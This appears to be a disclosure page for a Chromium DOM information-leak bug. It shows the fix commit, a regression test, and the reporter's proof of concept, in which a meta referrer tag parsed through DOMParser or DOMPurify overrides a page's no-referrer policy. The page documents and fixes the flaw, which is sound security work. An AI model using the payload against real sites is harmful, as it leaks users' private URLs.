Medium chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInformation leak in DOM
DescriptionInformation leak in DOM
ComponentDOM
Bug ClassLogic Error
Tracker536526176
Fix commitc82c0056dc30 (chromium/src) +61/-1
CISA KEVNot listed
Creditedavlidienbrunn
Disclosed2026-08-25

Files Changed

  • third_party/blink/renderer/core/html/html_meta_element.cc
  • third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html
From c82c0056dc30f7178f3b0953e3da0bcc0c7904df Mon Sep 17 00:00:00 2001
From: Noam Rosenthal <nrosenthal@chromium.org>
Date: Mon, 20 Jul 2026 08:59:41 -0700
Subject: [PATCH] <meta referrer> should only apply when document is active

Note that referrer is a bit quirky, see the note in the spec:
https://html.spec.whatwg.org/multipage/semantics.html#meta-referrer

This quirks makes it so that the ExecutionContext is updated directly
instead of the document, which is what other meta types do.

Bug: 536526176
Change-Id: I38947b9849544e5b5f6fbf98250d319028d633ef
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8125036
Reviewed-by: Daniel Vogelheim <vogelheim@chromium.org>
Commit-Queue: Noam Rosenthal <nrosenthal@google.com>
Cr-Commit-Position: refs/heads/main@{#1664718}
---

diff --git a/third_party/blink/renderer/core/html/html_meta_element.cc b/third_party/blink/renderer/core/html/html_meta_element.cc
index 51c154a3..1654a99 100644
--- a/third_party/blink/renderer/core/html/html_meta_element.cc
+++ b/third_party/blink/renderer/core/html/html_meta_element.cc
@@ -727,7 +727,7 @@
     ProcessViewportContentAttribute(content_value,
                                     ViewportDescription::kViewportMeta);
   } else if (EqualIgnoringAsciiCase(name_value, "referrer") &&
-             GetExecutionContext()) {
+             GetExecutionContext() && GetDocument().IsActive()) {
     UseCounter::Count(&GetDocument(),
                       WebFeature::kHTMLMetaElementReferrerPolicy);
     if (!IsDescendantOf(GetDocument().head())) {
diff --git a/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html b/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html
new file mode 100644
index 0000000..e46a1c3
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html
@@ -0,0 +1,60 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <meta name="referrer" content="no-referrer">
+  <script src="/resources/testharness.js"></script>
+  <script src="/resources/testharnessreport.js"></script>
+</head>
+<body>
+  <script>
+    async function fetchAndGetReferrer() {
+      let response = await fetch('/common/security-features/subresource/xhr.py');
+      let data = await response.json();
+      return data.headers.referer;
+    }
+
+    promise_test(async t => {
+      // 1. Initial fetch should not leak referrer.
+      let referrerBefore = await fetchAndGetReferrer();
+      assert_equals(referrerBefore, undefined, 'Initial referrer should be empty');
+
+      // 2. Parse a meta tag that would change referrer policy to unsafe-url.
+      new DOMParser().parseFromString(
+        '<meta name="referrer" content="unsafe-url">',
+        'text/html'
+      );
+
+      // 3. Second fetch should still not leak referrer.
+      let referrerAfter = await fetchAndGetReferrer();
+      assert_equals(referrerAfter, undefined, 'Referrer should still be empty');
+    }, "DOMParser().parseFromString should not affect creator document's referrer policy");
+
+    promise_test(async t => {
+      // 1. Initial fetch should not leak referrer.
+      let referrerBefore = await fetchAndGetReferrer();
+      assert_equals(referrerBefore, undefined, 'Initial referrer should be empty');
+
+      // 2. Parse a template tag containing a meta referrer.
+      let div = document.createElement('div');
+      div.innerHTML = '<template><meta name="referrer" content="unsafe-url"></template>';
+
+      // 3. Second fetch should still not leak referrer.
+      let referrerAfter = await fetchAndGetReferrer();
+      assert_equals(referrerAfter, undefined, 'Referrer should still be empty');
+    }, "Parsing <meta name='referrer'> inside <template> should not affect creator document's referrer policy");
+
+    promise_test(async t => {
+      // 1. Initial fetch should not leak referrer.
+      let referrerBefore = await fetchAndGetReferrer();
+      assert_equals(referrerBefore, undefined, 'Initial referrer should be empty');
+
+      // 2. Parse a meta tag that would change referrer policy to unsafe-url.
+      Document.parseHTMLUnsafe('<meta name="referrer" content="unsafe-url">');
+
+      // 3. Second fetch should still not leak referrer.
+      let referrerAfter = await fetchAndGetReferrer();
+      assert_equals(referrerAfter, undefined, 'Referrer should still be empty');
+    }, "Document.parseHTMLUnsafe() should not affect creator document's referrer policy");
+  </script>
+</body>
+</html>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html b/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html
new file mode 100644
index 0000000..e46a1c3
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html
@@ -0,0 +1,60 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <meta name="referrer" content="no-referrer">
+  <script src="/resources/testharness.js"></script>
+  <script src="/resources/testharnessreport.js"></script>
+</head>
+<body>
+  <script>
+    async function fetchAndGetReferrer() {
+      let response = await fetch('/common/security-features/subresource/xhr.py');
+      let data = await response.json();
+      return data.headers.referer;
+    }
+
+    promise_test(async t => {
+      // 1. Initial fetch should not leak referrer.
+      let referrerBefore = await fetchAndGetReferrer();
+      assert_equals(referrerBefore, undefined, 'Initial referrer should be empty');
+
+      // 2. Parse a meta tag that would change referrer policy to unsafe-url.
+      new DOMParser().parseFromString(
+        '<meta name="referrer" content="unsafe-url">',
+        'text/html'
+      );
+
+      // 3. Second fetch should still not leak referrer.
+      let referrerAfter = await fetchAndGetReferrer();
+      assert_equals(referrerAfter, undefined, 'Referrer should still be empty');
+    }, "DOMParser().parseFromString should not affect creator document's referrer policy");
+
+    promise_test(async t => {
+      // 1. Initial fetch should not leak referrer.
+      let referrerBefore = await fetchAndGetReferrer();
+      assert_equals(referrerBefore, undefined, 'Initial referrer should be empty');
+
+      // 2. Parse a template tag containing a meta referrer.
+      let div = document.createElement('div');
+      div.innerHTML = '<template><meta name="referrer" content="unsafe-url"></template>';
+
+      // 3. Second fetch should still not leak referrer.
+      let referrerAfter = await fetchAndGetReferrer();
+      assert_equals(referrerAfter, undefined, 'Referrer should still be empty');
+    }, "Parsing <meta name='referrer'> inside <template> should not affect creator document's referrer policy");
+
+    promise_test(async t => {
+      // 1. Initial fetch should not leak referrer.
+      let referrerBefore = await fetchAndGetReferrer();
+      assert_equals(referrerBefore, undefined, 'Initial referrer should be empty');
+
+      // 2. Parse a meta tag that would change referrer policy to unsafe-url.
+      Document.parseHTMLUnsafe('<meta name="referrer" content="unsafe-url">');
+
+      // 3. Second fetch should still not leak referrer.
+      let referrerAfter = await fetchAndGetReferrer();
+      assert_equals(referrerAfter, undefined, 'Referrer should still be empty');
+    }, "Document.parseHTMLUnsafe() should not affect creator document's referrer policy");
+  </script>
+</body>
+</html>
Loading diff…

Original Bug Report

reported by av...@gmail.com

DOMParser().parseFromString applies <meta> referer policy by just parsing, allowing refleak in parsing/DOMPurify documents


Report description

DOMParser().parseFromString applies <meta> referer policy by just parsing, allowing refleak in parsing/DOMPurify documents


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules


The problem

Please describe the technical details of the vulnerability

Description

The DOMParser().parseFromString(string, "text/html") is supposed to be an inert parser for HTML content. Security libraries like DOMPurify relies on it to parse untrusted HTML, and expects it to be inert (in terms of affecting the calling context/window).

However, <meta name="referrer"> is for some reason applied to the current context while parsing, and it can override the current documents policy too:

<html>
    <head>
        <meta name="referrer" content="no-referrer">
    </head>
    <body>
        <script>
        fetch('https://example.com'); // does not leak any referrer, as expected
        new DOMParser().parseFromString(
            `<meta name="referrer" content="unsafe-url">`,
            "text/html"
        );
        fetch('https://example.com'); // does leak referrer
        </script>
    </body>
</html>

Changing referrer policy in a document can lead to security issues where sensitive content is in the current path/query/fragment. Furthermore, due to DOMPurify’s usage of it, this example also unexpectedly leaks (even though the meta tag is correctly removed by DOMPurify):

<html>
    <head>
        <meta name="referrer" content="no-referrer">
        <script src="https://cdn.jsdelivr.net/npm/dompurify@3.4.12/dist/purify.min.js"></script>
    </head>
    <body>
        <script>
        // leaks referrer in the request to example.com
        setTimeout(function(){
                document.documentElement.innerHTML=DOMPurify.sanitize('<meta name="referrer" content="unsafe-url"><img src="https://example.com/leak2"/>')
        }, 1000);
        </script>
    </body>
</html>

Impact analysis

Expected inert DOMParser().parseFromString(string, "text/html") can affect the calling contexts referer policy via <meta name="referrer">.


The cause

What version of Chrome have you found the security issue in?

150.0.7871.124 (Official Build) snap (64-bit)

No, it is not related to a crash.

Choose the type of vulnerability

Information Leak

How would you like to be publicly acknowledged for your report?

avlidienbrunn

View on issue tracker